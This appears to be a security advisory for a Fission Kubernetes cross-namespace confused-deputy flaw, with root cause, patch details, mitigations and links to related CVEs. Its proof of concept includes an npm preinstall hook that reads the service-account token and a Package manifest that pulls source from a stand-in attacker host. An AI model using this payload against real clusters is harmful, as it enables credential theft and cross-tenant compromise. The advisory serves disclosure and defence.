CVE-2026-49821: Fission Package Cross-Namespace Confused Deputy RCE and SA Token Exfiltration
A Fission user in one Kubernetes namespace could trick the build controller into running their code inside another tenant's builder pod and leaking that namespace's service-account token, giving the a
The problem
Fission's `buildermgr` controller accepted `Package` CRDs without checking that `Package.spec.environment.namespace` matched `Package.metadata.namespace`. Any user with `packages.fission.io/create` in their own namespace could set `spec.environment.namespace` to a victim namespace.
The controller used its high-privilege service account to fetch the Environment cross-namespace, then dispatched the build command into the victim namespace's builder pod. Build stdout is written verbatim into `Package.status.buildlog`, so code running inside that pod could read the `fission-builder` Bearer token from `/var/run/secrets/kubernetes.io/serviceaccount/token` and surface it to the attacker.
Proof of concept
A working proof-of-concept for CVE-2026-49821 in github.com/fission/fission, with the exact payload below.
# 1. Attacker creates a malicious npm package in their source archive.
# package.json in the source zip:
{
"name": "pwn",
"version": "1.0.0",
"scripts": {
"preinstall": "cat /var/run/secrets/kubernetes.io/serviceaccount/token"
}
}
# 2. Attacker creates the cross-namespace Package (in namespace 'tenant-a',
# pointing spec.environment.namespace at the victim namespace 'tenant-b'):
apiVersion: fission.io/v1
kind: Package
metadata:
name: evil-pkg
namespace: tenant-a
spec:
environment:
name: node # a Node.js env that exists in tenant-b
namespace: tenant-b # <-- cross-namespace pivot; was never validated
source:
type: url
url: http://attacker.example.com/evil-src.zip
buildcmd: "npm install"
# 3. buildermgr fetches the Environment from tenant-b using the cluster-admin
# service account, dispatches 'npm install' into tenant-b's builder pod.
# The preinstall hook prints the fission-builder token.
# Token appears in:
kubectl get package evil-pkg -n tenant-a -o jsonpath='{.status.buildlog}'The root cause is missing authorization (CWE-862) combined with a confused-deputy pattern (CWE-441): `buildermgr` trusted the caller-supplied `spec.environment.namespace` field with no cross-namespace boundary check before performing privileged Kubernetes API calls on behalf of the Package author.
The patch adds a namespace equality check in both the admission webhook (`pkg/webhook/package.go::Validate`) and the controller itself (`pkg/buildermgr/pkgwatcher.go::build` and `pkg/buildermgr/common.go::buildPackage`). The controller-side check acts as defence-in-depth for clusters where the webhook is configured with `failurePolicy: Ignore` or bypassed by a stale cached object.
An empty `spec.environment.namespace` is still accepted and is defaulted to the Package's own namespace by the controllers.
The fix
Upgrade to Fission v1.24.0 (PR #3379, commit e2b9266). After upgrading, any Package with `spec.environment.namespace` set to a different namespace than `metadata.namespace` is rejected at admission. Review existing Package CRDs and remove cross-namespace environment references before upgrading.
If you cannot upgrade immediately, add a validating admission policy (or OPA/Kyverno rule) that enforces `spec.environment.namespace == metadata.namespace || spec.environment.namespace == ''`.
Reported by Sanket Sudake (@sanketsudake).
Related research
- high · 7.7CVE-2026-49822CVE-2026-49822: Fission KubernetesWatchTrigger Cross-Namespace Event Leakage
- high · 8.1Fission MessageQueueTrigger Secret Exfiltration and PodSpec Injection
- high · 7.7CVE-2026-49823CVE-2026-49823: Fission Cross-Namespace Package Read via Unvalidated PackageRef
- high · 8.5CVE-2026-49824CVE-2026-49824: Fission Cross-Namespace Environment Reference via Unvalidated EnvironmentRef